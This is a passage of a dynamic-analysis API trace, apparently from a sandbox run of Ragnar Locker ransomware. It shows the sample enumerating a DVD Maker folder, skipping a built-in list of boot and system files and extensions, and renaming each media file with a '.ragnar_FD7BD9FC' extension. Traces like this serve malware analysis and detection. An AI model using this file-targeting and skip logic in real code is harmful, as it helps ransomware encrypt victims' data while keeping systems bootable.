lpString2="iconcache.db") returned 1 [0079.130] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="ntldr") returned -1 [0079.130] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="ntuser.dat") returned -1 [0079.130] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="ntuser.dat.log") returned -1 [0079.130] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="ntuser.ini") returned -1 [0079.130] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="thumbs.db") returned -1 [0079.130] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0079.131] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0079.131] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0079.131] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0079.131] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0079.131] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0079.131] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0079.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv")) returned 0x20 [0079.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.131] CloseHandle (hObject=0xffffffff) returned 0 [0079.131] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" [0079.131] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv.ragnar_FD7BD9FC" [0079.131] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.131] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-over-select.png", cAlternateFileName="")) returned 1 [0079.131] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.131] lstrcpyW (in: lpString1=0x1eab52, lpString2="Pets_btn-back-over-select.png" | out: lpString1="Pets_btn-back-over-select.png") returned="Pets_btn-back-over-select.png" [0079.131] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png") returned=".png" [0079.131] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.131] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="autorun.inf") returned 1 [0079.131] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="boot.ini") returned 1 [0079.132] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="bootfont.bin") returned 1 [0079.132] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="bootsect.bak") returned 1 [0079.132] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="bootmgr") returned 1 [0079.132] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="bootmgr.efi") returned 1 [0079.132] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="bootmgfw.efi") returned 1 [0079.132] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="desktop.ini") returned 1 [0079.132] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="iconcache.db") returned 1 [0079.132] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="ntldr") returned 1 [0079.132] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="ntuser.dat") returned 1 [0079.132] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="ntuser.dat.log") returned 1 [0079.132] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="ntuser.ini") returned 1 [0079.132] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="thumbs.db") returned -1 [0079.132] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.132] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.132] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.132] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.132] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.132] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.132] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png")) returned 0x20 [0079.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.133] CloseHandle (hObject=0xffffffff) returned 0 [0079.133] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" [0079.133] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png.ragnar_FD7BD9FC" [0079.133] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.133] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242e5e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7242e5e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-static.png", cAlternateFileName="")) returned 1 [0079.133] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.133] lstrcpyW (in: lpString1=0x1eab52, lpString2="Pets_btn-back-static.png" | out: lpString1="Pets_btn-back-static.png") returned="Pets_btn-back-static.png" [0079.133] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned=".png" [0079.133] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.133] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="autorun.inf") returned 1 [0079.133] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="boot.ini") returned 1 [0079.133] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="bootfont.bin") returned 1 [0079.133] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="bootsect.bak") returned 1 [0079.133] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="bootmgr") returned 1 [0079.133] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="bootmgr.efi") returned 1 [0079.133] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="bootmgfw.efi") returned 1 [0079.134] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="desktop.ini") returned 1 [0079.134] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="iconcache.db") returned 1 [0079.134] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="ntldr") returned 1 [0079.134] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="ntuser.dat") returned 1 [0079.134] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="ntuser.dat.log") returned 1 [0079.134] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="ntuser.ini") returned 1 [0079.134] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="thumbs.db") returned -1 [0079.134] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.134] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.134] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.134] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.134] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.134] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.134] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png")) returned 0x20 [0079.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.134] CloseHandle (hObject=0xffffffff) returned 0 [0079.134] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" [0079.134] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png.ragnar_FD7BD9FC" [0079.134] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.134] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72454746, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72454746, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-over-select.png", cAlternateFileName="")) returned 1 [0079.134] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.134] lstrcpyW (in: lpString1=0x1eab52, lpString2="Pets_btn-next-over-select.png" | out: lpString1="Pets_btn-next-over-select.png") returned="Pets_btn-next-over-select.png" [0079.134] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned=".png" [0079.135] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.135] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="autorun.inf") returned 1 [0079.135] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="boot.ini") returned 1 [0079.135] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="bootfont.bin") returned 1 [0079.135] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="bootsect.bak") returned 1 [0079.135] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="bootmgr") returned 1 [0079.135] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="bootmgr.efi") returned 1 [0079.135] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="bootmgfw.efi") returned 1 [0079.135] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="desktop.ini") returned 1 [0079.135] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="iconcache.db") returned 1 [0079.135] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="ntldr") returned 1 [0079.135] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="ntuser.dat") returned 1 [0079.135] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="ntuser.dat.log") returned 1 [0079.135] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="ntuser.ini") returned 1 [0079.135] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="thumbs.db") returned -1 [0079.135] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.135] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.135] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.135] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.135] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.135] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.135] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png")) returned 0x20 [0079.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.135] CloseHandle (hObject=0xffffffff) returned 0 [0079.135] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" [0079.136] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png.ragnar_FD7BD9FC" [0079.136] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.136] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7247a8a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7247a8a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-static.png", cAlternateFileName="")) returned 1 [0079.136] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.136] lstrcpyW (in: lpString1=0x1eab52, lpString2="Pets_btn-next-static.png" | out: lpString1="Pets_btn-next-static.png") returned="Pets_btn-next-static.png" [0079.136] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned=".png" [0079.136] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.136] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="autorun.inf") returned 1 [0079.136] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="boot.ini") returned 1 [0079.136] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="bootfont.bin") returned 1 [0079.136] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="bootsect.bak") returned 1 [0079.136] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="bootmgr") returned 1 [0079.136] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="bootmgr.efi") returned 1 [0079.136] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="bootmgfw.efi") returned 1 [0079.136] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="desktop.ini") returned 1 [0079.136] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="iconcache.db") returned 1 [0079.136] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="ntldr") returned 1 [0079.136] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="ntuser.dat") returned 1 [0079.136] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="ntuser.dat.log") returned 1 [0079.136] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="ntuser.ini") returned 1 [0079.136] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="thumbs.db") returned -1 [0079.136] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.136] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.136] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.136] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.136] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.136] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.136] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png")) returned 0x20 [0079.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.137] CloseHandle (hObject=0xffffffff) returned 0 [0079.137] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" [0079.137] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png.ragnar_FD7BD9FC" [0079.137] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.137] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722b1847, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722b1847, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-over-DOT.png", cAlternateFileName="")) returned 1 [0079.137] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.137] lstrcpyW (in: lpString1=0x1eab52, lpString2="Pets_btn-over-DOT.png" | out: lpString1="Pets_btn-over-DOT.png") returned="Pets_btn-over-DOT.png" [0079.137] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png") returned=".png" [0079.137] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.137] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="autorun.inf") returned 1 [0079.137] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="boot.ini") returned 1 [0079.137] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="bootfont.bin") returned 1 [0079.137] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="bootsect.bak") returned 1 [0079.137] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="bootmgr") returned 1 [0079.137] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="bootmgr.efi") returned 1 [0079.137] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="bootmgfw.efi") returned 1 [0079.137] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="desktop.ini") returned 1 [0079.137] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="iconcache.db") returned 1 [0079.137] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="ntldr") returned 1 [0079.137] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="ntuser.dat") returned 1 [0079.137] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="ntuser.dat.log") returned 1 [0079.138] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="ntuser.ini") returned 1 [0079.138] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="thumbs.db") returned -1 [0079.138] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.138] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.138] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.138] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.138] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.138] lstrcmpiW 